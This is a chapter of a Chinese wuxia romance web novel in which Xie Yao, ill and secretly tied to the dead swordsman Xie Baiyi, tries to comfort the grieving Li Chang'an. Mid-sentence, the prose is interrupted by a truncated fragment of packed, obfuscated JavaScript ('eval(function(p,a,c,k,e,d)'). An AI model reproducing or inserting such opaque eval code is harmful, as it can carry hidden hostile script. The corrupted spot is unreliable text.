谢夭道:“我保这孩子平安。” 极长老点点头,又缓缓道:“我还要他一世不入江湖。” 谢夭点头:“好。” 极长老沉默一会儿,笑起来,道:“如今……我是桃花谷谷主了。” 至此望城山之事解决,松云剑之死谜团全解。 桃花仙的死讯传遍了全江湖,一代大魔头终于死了,桃花谷再无人可依靠,那几天的江湖张灯结彩,气氛快活的像是快要过年,让谢夭也一阵怀疑,是不是自己犯病的时候梦游,真的干了什么罪大恶极的事。 江南百晓堂记了一笔,第一大魔头桃花仙死于诚安十二年。与此同时,谢白衣到底死没死这个多年悬案,也终于有了结论——桃花仙亲口所说,谢白衣死于诚安五年,死在桃花仙手里。 谢白衣死讯坐实那天,李长安一个人在桃花仙尸体旁站了许久,之后拎着青云,沉默地,一身血腥气地往外走。 围观众人都自动地让开了一条通路,静静地看着这个脸上还染着血污的,十九岁的少庄主。 无人敢上前,也无人敢说话。 李长安回来之后关了自己三天,没出过门,也没怎么吃过饭,更没有跟人说过话。 ——自然也没有见过谢夭。 他把自己关进房间里,把这些年探查来的桃花谷的资料看了一遍又一边,反复去想谢白衣到底是怎么死的,如果谢白衣真的死了,那他的尸骨在哪? 桃花仙死了,他跟谢白衣的最后一点关系才没有断,他死也不肯放手。 谢夭无数次路过李长安的房间,月夜下,又无数次抬起手想敲门。他觉得自己属实混账,他忽然理解了李长安小时候说得那句话,在别人生命浓墨重彩之后又无声无息地离开,天底下还有比这更混蛋的事吗? 然而此刻,他又能说什么呢? 他拿不起剑了,也活不长了。 可看着李长安始终紧闭的房门,他还是没忍住,买了李长安之前最喜欢吃的青竹酥酪,敲响了李长安的房门。 谢夭一边敲门一边道:“……李少侠?” 说完,就那么静默地等了许久,月色撒下,两人一个站在门内,一个站在门外。秋月夜里,空荡荡的客栈愈发荒凉。 望城之事已经结束,所有人都在收拾东西,各回各的师门。客栈住了一个多月,杂物太多带不走,收拾之时就丢弃了不少东西在院内,风一吹便咕噜咕噜地到处滚。 谢夭听着院子里荒凉的动静,觉得李长安应该不会开门了,毕竟这么多天,宋明赫、怀竹月、还有几个小师弟来了不知道多少遍,李长安也没开门。 就在他转身要走的时候,门开了。 他敲开的。 李长安站在门边,眸子垂下,看向他。 谢夭觉得李长安瘦了不少,脸色有些憔悴,月光下看不太分明,只觉得眼圈也有点红。他又看向房间里面,李长安移动一步,挡住了他视线,道:“是你啊。有事?” 谢夭扬起一个笑,举起手里的酥酪,道:“刚买的吃的,吃吗?” 李长安看他手里的青竹酥酪一眼。这东西不是很好买,商家做酥酪,基本上不会做这个口味的,青竹味道太小众了。估计全天下,也只有归云山庄的人会吃。 因为归云山庄内青竹最多。 不知道谢夭跑了多久才买到。 李长安睫毛颤了两下,在黑暗中飞速抿了一下嘴唇,道:“不吃,不过……多谢。”说完,退回房内,直接拍上了门。 谢夭被拍在门外,一时间有点心凉,心道这他娘的到底哪出问题了。半晌,他才意识到,李长安已经不是七年前那个十二岁的,用两块酥酪就能哄好的小孩了。 谢夭笑笑,又拍了拍门,道:“给你留两块啊,放你门口了。” 走了两步,又退回来,在门外喊:“别忘了出来拿,客栈里有猫。” 谢夭到最后也不知道李长安开没开门,又有没有把东西拿走。他第二天去看,东西是没了,但一想李长安从小就犟的性子,他觉得东西可能还是被野猫给叼了。 他叹一口气,道:“褚裕,你说小孩长大了怎么就难对付了呢?” 褚裕看他一脸发愁样,一看就是把人惹生气了又哄不好,忍着笑道:“谷主,沾花惹草把自己玩进去了吧。” 谢夭:“……” “谁沾花惹草,”谢夭长叹一口气,“这是世事无常。” “谷主,还是先关心关心你自己吧。”褚裕道,“药煎好了,我再出去给你找点什么蜜饯?” 谢夭一听,舌尖上顿时漫上来一股苦味,想死的心都有了。他摆摆手,赶紧让褚裕走了。 李长安自己收拾了三天的情绪,终于出了门。外面的天光有些刺眼,他下意识用手挡住眼睛,接着便闻到了一股中药的清苦味,从谢夭那个房间里传出来的。 这么苦的药,谢夭那人能喝得下去么? 谢夭此人,一看从小就养尊处优,苦大概是一点没吃过,可能吃药就是他这辈子吃过最大的苦。 想着,他莫名回了房间,拿了谢夭那天送他的点心。 李长安走到房门前,想抬手敲门,又犹豫了一下。 他那天对谢夭态度不好是真的,不知道为什么,那个时候,他确实不太想见谢夭。 他不想让谢夭看见他狼狈的样子,他自己也不想看谢夭的脸,可能因为谢夭确实和谢白衣长得有点像。他小时候都没在谢白衣面前掉过一滴眼泪,所以在谢夭面前,他逞强似的,怎么都不想见。 他在房门口站了一会儿,正巧褚裕从里面出来,抬头看李长安一眼,又立刻凶巴巴道:“你怎么在这?” 褚裕对归云山庄的人态度都不好,一是因为正邪不两立,二是因为谢夭进望城那几天的遭遇他都记得呢。 他被仇恨浸淫了十好几年,除了桃花谷几个亲近的人,其他人一概近不了他的身,早都忘了怎么好好说话了。 “哦,”李长安低头,看着小兽一样瞪着他的褚裕,下意识觉得这也是谢夭的态度,捏紧了手里的点心,淡淡道:“路过。” 褚裕又往外走去,走了两步忽然停下来,回头道:“他吃完药有点不舒服,你进去看着他点。” 李长安一怔,疑惑看向他。 褚裕摆摆手道:“爱进不进,随便你。反正除了你,他也不会让其他人进。” 李长安抿了下嘴唇,说不清楚那刹那是个什么滋味,推开门,谢夭裹了三层被子披在身上,手里捧着药碗,那碗里明明还冒着热气,可看着怎么都让人觉得冷。 谢夭说话也是,一张嘴,都冒不出来热气。 见李长安进来,谢夭也不惊讶,他本来想逗李长安两句,但这药冷得他有点提不起来力气,他苍白的脸上提起一个笑,道:“呦,李少侠还知道出门。” “苦么?”李长安问。 “苦死了。”谢夭道,又举起碗,道,“尝口?” 眼见李长安就要伸手去接,谢夭又立刻把碗给收回来了,心道李长安傻吧,明知道里面下的有冰蚕还去喝。 “点心。”李长安把手里东西放到桌子上,想了想又补充了一句,“甜的。” 谢夭看着桌子上的东西,反应了一会儿才意识到这是他送的,又弯起眼睛笑道:“你拿了啊。” 那天李长安关了门,笔记上的字一个都没看进去,谢夭那句“吃点”一直盘旋在他脑子里。大概是因为小时候生病的缘故,很少有小孩子愿意和他一起玩,有的时候还会跟在他身后,骂他“病痨”。 所以李长安很小的时候就习惯了自己跟自己玩,孤僻的性子就这么传开,后来就连大人都不愿意逗他,因为觉得他没意思。 很少有人锲而不舍地拽他进入红尘里,捏着他的小脸蛋说要多笑一笑。其他人过来敲门,都只敲了一下,接着便再没尝试过,他却知道谢夭来了很多次。 他的脚步声,他都听得见。 那天谢夭走后,李长安又在屋里待了一会儿,心道为什么呢?不过萍水相逢,自己有什么值得他来的。还是因为望城门前那一剑?抑或是谢夭本质是个烂好人? 可是谢夭看上去,怎么都不像是会因为一点牵绊而一直放不下的人。 他没想明白,但是等谢夭走远了,他悄悄开了门,偷似的把门外的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢夭不应答,也没看他,只低头看着碗里的汤药。那汤药还冒着热气,谢夭看了一会儿,心道没出息,然后眼一闭心一横,一碗汤药全给闷了。 接着便是苦,苦得嗓子眼都麻了。 别人都是酒壮怂人胆,他是一口闷了苦药,这才敢说话,一开口,他叫了一声:“……长安。” 不是李少侠,也不是李长安,叫的是单单一个名字,他当年亲笔所提的两个字——长安。 李长安下意识顿住脚步,很想问他刚才叫自己什么,但一偏头,对上谢夭的眸子,忽然什么话都问不出了。就好像,他叫自己长安才是对的,才是正常的。 意识到自己叫了什么那刻,谢夭心道完蛋了,但此刻他没什么力气思考了,打算就这么将错就错下去,他道:“你那天问的‘他’,是你师父么?” 李长安又收回视线,那个瞬间不知道想到了什么,只淡淡点头:“嗯,是谢白衣。” 谢夭把自己裹在被子里,只露出一张脸,道:“谢白衣这个人我知道一点。百晓堂里有关他的卷宗有很多。他少年成名,又傲又狂,干了许多出格的事……可能也或多或少给人留了点印象。” 说起往事,谢夭语气带了点踌躇,似乎是在挑选合适的措辞。 李长安静静听着,不说话,却在心里道这话不对。 不是或多或少留了点印象,是特别浓墨重彩的一笔。百晓堂记他专门记了一个册子,他是江湖大侠,是天下第一,是无数人心中的代表。 甚至于李长安来说,他就是江湖本身。 虽然李长安很不想承认,但他小时候做梦,梦见绝世高手,江湖游侠的时候,都梦见的是谢白衣。 “我猜,”谢夭抬起眼睛看向他道,“他那样的人,大概不想别人在他死后如此纪念他。你是他徒弟啊,应该了解他。” 李长安却在那个瞬间心想,我了解他么?他知道谢白衣不想做功课的时候会偷偷出去喝酒,他知道谢白衣喜欢吃甜的,他知道谢白衣拿剑的时候拇指总是会下意识抵在剑柄上…… 李长安知道谢夭说得是对的,按照谢白衣来去如风的性格,肯定不想别人怀念他。 他那个瞬间忽然很想知道,像谢白衣这样的人,会有什么怀念的人么? 但是没有答案了。 李长安淡淡“嗯”了一声,出了房门。 谢夭也不知道他听没听进去,掐着自己喉咙咳嗽了一声,喉咙里的苦味还在,这真是他喝药最快的一次。他抓起来李长安送过来的点心,放进嘴里吃了。 — 不过三日,归云山庄众人都已收拾停当。其实这三日内已经陆陆续续走了不少人,客栈里显得冷清了不少。归云山庄是最后走的,一是要善后,妥善处理松云剑和桃花仙的尸体,给客栈结账;二是要把死去的归云山庄弟子带回家。 谢夭也让褚裕收拾好了东西,在一片晴朗下,两个人慢慢往客栈外走去。 褚裕在收拾东西的时候问道:“谷主,我们接下来去哪?” 谢夭想了想道:“回桃花谷。” 谢白衣死讯已定,桃花仙已死,天下一片太平。只剩下当年伏兵之事没有查清,但那件事已经过去了那么多年,不会引起动荡,可以慢慢查。 说白了,在他死之前查明白就行了。 两人穿过熙熙攘攘的街道,就快要走出城门。城门口的一千八百只通息铃已经在拆了,拆了一半的铃铛拖在地上。 谢夭走过去,那铃铛隐隐约约又有要响的趋势。 拆除铃铛的小弟子看见铃铛震动,惊惧地抬起头,看向谢夭。 褚裕眉眼一瞪,道:“怎么?望城门口那事又要再来一次?” 小弟子连连摆手,一笑道:“是你啊。我这就把铃铛拿走,这就拿走。” 但一千八百只通息铃,哪是那么容易拖走的。铃铛声还是响了起来,听得人心烦。 谢夭打算就这么过去,忽然在一片铃铛声中,听见了清脆的马蹄声。 回头,只见李长安骑马奔来,与此同时拔剑,隔着老远一剑把吵个不停的通息铃劈个稀烂,收剑,冲至谢夭身边,手一紧勒住缰绳,尘土飞扬,马头高高扬起。 等到马蹄踏地的刹那,谢夭听见李长安少年气的声音。 “谢夭,归云山庄去不去?”